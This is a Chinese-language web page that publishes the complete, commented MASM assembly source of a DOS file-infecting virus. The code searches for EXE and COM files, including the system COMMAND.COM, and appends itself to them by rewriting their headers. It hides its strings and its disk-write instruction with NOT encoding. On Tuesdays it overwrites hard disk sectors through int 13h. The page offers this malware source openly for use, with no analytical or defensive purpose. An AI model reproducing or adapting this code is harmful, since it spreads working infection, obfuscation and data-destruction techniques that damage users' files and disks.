📄 10.htm
字号:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>一个简单的文件型病毒程序</TITLE>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<STYLE type=text/css>BODY {
FONT-SIZE: 9pt; FONT-FAMILY: "宋体"
}
TABLE {
FONT-SIZE: 9pt; FONT-FAMILY: "宋体"
}
TD {
FONT-SIZE: 9pt; FONT-FAMILY: "宋体"
}
INPUT {
FONT-SIZE: 9pt; FONT-FAMILY: "宋体"
}
TEXTAREA {
FONT-SIZE: 9pt; FONT-FAMILY: "宋体"
}
SELECT {
FONT-SIZE: 9pt; FONT-FAMILY: "宋体"
}
CODE {
FONT-SIZE: 9pt; FONT-FAMILY: "宋体r"
}
A {
COLOR: #005500
}
A:hover {
COLOR: #cc0000
}
.border {
BORDER-RIGHT: #000000 1px solid; BORDER-TOP: #000000 1px solid; LIST-STYLE-POSITION: inside; BORDER-LEFT: #000000 1px solid; BORDER-BOTTOM: #000000 1px solid; LIST-STYLE-TYPE: square; BACKGROUND-COLOR: transparent
}
</STYLE>
<META content="MSHTML 6.00.2600.0" name=GENERATOR></HEAD>
<BODY text=#000000 bgColor=#ffffff>
<TABLE borderColor=#339933 cellSpacing=0 borderColorDark=#ffffff cellPadding=0
width=310 align=left borderColorLight=#000000 border=1>
<TBODY>
<TR vAlign=center bgColor=#009900>
<TD >
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD width=17> </TD>
<TD>
<TABLE width="65%" align=center border=0>
<TBODY>
<TR>
<TD bgColor=#009900>
<DIV align=center><FONT
face="Verdana, Arial, Helvetica, sans-serif"
color=#ffffff><B>一个简单的文件型病毒程序</B></FONT></DIV>
</TD>
</TR>
</TBODY>
</TABLE>
<DIV align=center></DIV>
</TD>
</TR>
</TBODY>
</TABLE>
</TD>
</TR>
<TR vAlign=center align=left bgColor=#cccccc>
<TD></TD>
</TR>
<TR vAlign=top>
<TD class=tenpt><CODE><FONT color=#000000><br>
</FONT></CODE><CODE><FONT color=#000000><FONT
color=#cc0000> </FONT></FONT></CODE><CODE><FONT color=#000000><FONT
color=#cc0000> </FONT></FONT></CODE>; ************************************************
<br>
; 简单病毒程序 <br>
; <br>
; 作者 : 稻香老农 http://www.5xSoft.com <br>
; 类型 : 文件型 <br>
; 发作时间: 星期二 <br>
; 发作现象: 硬盘数据被坏 <br>
; 感染对象: DOS 的 EXE COM 文件 <br>
; 编译工具: MASM 6.0 , MASM 6.11 <br>
; <br>
; ************************************************
<p><br>
CODE SEGMENT <br>
assume cs:code <br>
.386 <br>
org 100h <br>
start: <br>
mov cs:oldsp,sp ; 保存原程序的堆栈指针 <br>
mov cs:oldss,ss ; <br>
mov sp,stack_end <br>
mov ax,cs ; 设置新的堆栈指针 <br>
mov ss,ax ; </p>
<p> push ds ;保存原 ds es <br>
push es ; <br>
mov ds,ax <br>
mov es,ax <br>
sub ax,oldseg ; 算出原程序的入口 <br>
push ax ; 并保存入栈 <br>
push oldip ; <br>
call setfile ;程序的核心部分 <br>
pop cs:oldip ; 取回原程序的入口 <br>
pop cs:oldseg ; <br>
pop es ; 恢复原 es ds <br>
pop ds ; <br>
mov sp,cs:oldss ; 恢复原 ss,sp <br>
mov ss,sp ; <br>
mov sp,cs:oldsp ; <br>
push oldseg ;跳回原程序入口点 <br>
push oldip ; <br>
retf ; <br>
db 09ah </p>
<p>getdate proc near ;这个函数是取得时间是否是星期二是则破坏硬盘数据 </p>
<p> mov ax,0ec32h ; 写要执行的代码 int 13h <br>
not ax ; 到 @dest1 位置 <br>
mov si,@des1 ; 这里既加密代码 <br>
mov word ptr [si],ax ; <br>
mov ah,2ah <br>
int 21h <br>
cmp al,2 <br>
jnz @gd_con <br>
mov ax,312h <br>
mov cx,1 <br>
mov dx,80h <br>
@des1: <br>
db 0ebh <br>
db 32 <br>
ret <br>
@gd_con: <br>
ret </p>
<p>getdate endp </p>
<p><br>
setfile1 proc near <br>
call findfirst <br>
@sf_con: <br>
jc @sf_back <br>
call modify <br>
call findnext <br>
jmp @sf_con <br>
@sf_back: <br>
ret <br>
setfile1 endp <br>
setdata proc near <br>
push si <br>
push di <br>
push cx <br>
push ax <br>
pushf <br>
mov si,offset normal1 <br>
mov di,si <br>
mov cx,23h <br>
@aaa2: <br>
lodsb <br>
not ax <br>
stosb <br>
loop @aaa2 <br>
popf <br>
pop ax <br>
pop cx <br>
pop di <br>
pop si <br>
ret <br>
setdata endp </p>
<p>setfile proc near <br>
cmp ax,127h ; 没有作用只是干挠 <br>
jnz @aaa1 ; ax 不可能等于 127h <br>
call dword ptr oldsp ; <br>
ret ; <br>
db 0e8h ; <br>
@aaa: call getdate <br>
ret </p>
<p>@aaa1: <br>
mov ah,01ah ;设置磁盘传输地址 <br>
mov dx,offset dta ;用于 findfirst <br>
int 21h ; <br>
call setdata ;数据解密 <br>
push @aaa <br>
mov dx,offset normal1 ; 找 *.exe <br>
mov ax,offset dta <br>
add ax,01eh <br>
mov fs,ax ; fs 用于传递文件名的地址 <br>
call setfile1 ; 传染文件 <br>
mov dx,offset normal2 ; 找 *.com <br>
call setfile1 <br>
mov dx,offset bootcmd ; 找 c:\windows\command.com <br>
mov fs,dx <br>
call setfile1 <br>
mov dx,offset bootcmd1 ; 找 c:\command.com <br>
mov si,dx ; <br>
mov word ptr [si],':C' ; <br>
mov fs,dx ; <br>
call setfile1 ; <br>
ret <br>
setfile endp <br>
db 09ah <br>
findfirst proc near <br>
mov ax,04e27h <br>
int 21h <br>
ret <br>
findfirst endp </p>
<p>findnext proc near <br>
mov ah,04fh <br>
int 21h <br>
ret <br>
findnext endp </p>
<p>modify proc near ;修改并感染程序 <br>
mov si,offset sbuffer ;可执行的文件头的地址 <br>
mov di,offset dta ;文件信息的地址 <br>
<br>
cmp dword ptr [di+01ah],1000 ; 若文件小于 1K 或 大于 1M 不感染 <br>
jb @fn_ret ; <br>
cmp dword ptr [di+01ah],0ffcffh ; <br>
jae @fn_ret ; </p>
<p> mov dx,fs <br>
mov ax,4300h ;保存原文件属性 <br>
int 21h ;再改为没有属性 <br>
push cx ; <br>
mov ax,4301h <br>
xor cx,cx <br>
int 21h </p>
<p> mov ax,03d02h ; 打开文件 <br>
int 21h ; <br>
jc @fn_ret3 ; </p>
<p> mov bx,ax ; 读文件头 <br>
mov ah,03fh ; <br>
mov cx,1ch ; <br>
mov dx,offset sbuffer ; <br>
int 21h ; </p>
<p> cmp word ptr [si],'ZM' ; 如不是可执行文件就不感染 <br>
jnz @fn_ret1 ; </p>
<p> mov ax,word ptr [si+014h] ; 保存原程序入口 <br>
mov oldip,ax ; <br>
mov ax,word ptr [si+016h] ; <br>
mov oldseg,ax </p>
<p></p>
<p> mov ax,4200h ; 检查是否已经被我感染过 <br>
mov cx,word ptr [di+1ch] ; <br>
mov dx,word ptr [di+1ah] ; <br>
sub dx,2 ; <br>
int 21h ; <br>
mov ah,3fh ; <br>
mov cx,2 ; <br>
mov dx,offset temp ; <br>
int 21h <br>
cmp word ptr temp,0dcd6h ; 若已经被感染就返回 <br>
jz @fn_ret1 ; <br>
<br>
</p>
<p> mov eax,dword ptr [di+01ah] ; 得到文件的总长 <br>
mov cx,0fh <br>
and cx,ax ; 算出感染后的入口点 <br>
mov fill,010h ; <br>
sub fill,cx ; <br>
movzx ecx,fill ; <br>
add eax,ecx ; <br>
sub eax,100h <br>
shr eax,4 <br>
mov cx,word ptr [si+8] <br>
sub ax,cx <br>
mov word ptr [si+14h],100h <br>
mov word ptr [si+16h],ax <br>
sub ax,oldseg <br>
mov oldseg,ax </p>
<p> mov ax,4202h ;把本病毒写至文件尾 <br>
xor cx,cx ; <br>
xor dx,dx ; <br>
int 21h <br>
call setdata <br>
mov ah,40h <br>
mov cx,offset theend <br>
mov dx,offset start <br>
sub dx,fill <br>
sub cx,dx <br>
int 21h <br>
call setdata <br>
jc @fn_ret1 </p>
<p> mov ax,4202h ; 算出加载程序的长度 <br>
xor cx,cx ; <br>
xor dx,dx ; <br>
int 21h <br>
mov cx,200h <br>
div cx <br>
inc ax <br>
mov word ptr [si+2],dx <br>
mov word ptr [si+4],ax </p>
<p> mov ax,4200h ;改写文件头 <br>
xor cx,cx <br>
xor dx,dx <br>
int 21h <br>
mov ah,40h <br>
mov dx,si <br>
mov cx,1ch <br>
int 21h </p>
<p>@fn_ret1: <br>
mov ah,03eh ;关闭文件 <br>
int 21h ; <br>
@fn_ret3: <br>
pop cx ;恢复原文件属性 <br>
mov ax,4301h ; <br>
mov dx,gs <br>
int 21h <br>
@fn_ret: <br>
ret <br>
modify endp </p>
<p> oldip word 0 <br>
oldseg word 0 </p>
<p> ;======== 用 not 换算过的数据 ======== <br>
normal1 db 0d5h,0d1h,09ah,087h,09ah,0ffh ; '*.EXE' <br>
normal2 db 0d5h,0d1h,09ch,090h,092h,0ffh ; '*.COM' <br>
bootcmd db 0bch,0c5h,0a3h,0a8h,0b6h,0b1h,0bbh,0b0h ; 'C:\WINDO' <br>
bootcmd1 db 0a8h,0ach,0a3h,0bch,0b0h,0b2h,0b2h,0beh ; 'WS\COMMAND.COM'
<br>
db 0b1h,0bbh,0d1h,0bch,0b0h,0b2h,0ffh <br>
fl word 0dcd6h <br>
theend: <br>
oldsp word 0 <br>
oldss word 0 <br>
temp word 0 <br>
temp1 word 0 <br>
dta db 02bh dup(0) <br>
fill word 0 <br>
sbuffer db 1dh dup(0) <br>
stack_start db 40h dup(0) <br>
stack_end: <br>
code ends <br>
end start <br>
</p>
<CODE><FONT color=#000000><FONT
color=#cc0000><BR>
</FONT></FONT></CODE></TD>
</TR>
</TBODY>
</TABLE>
</BODY></HTML>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -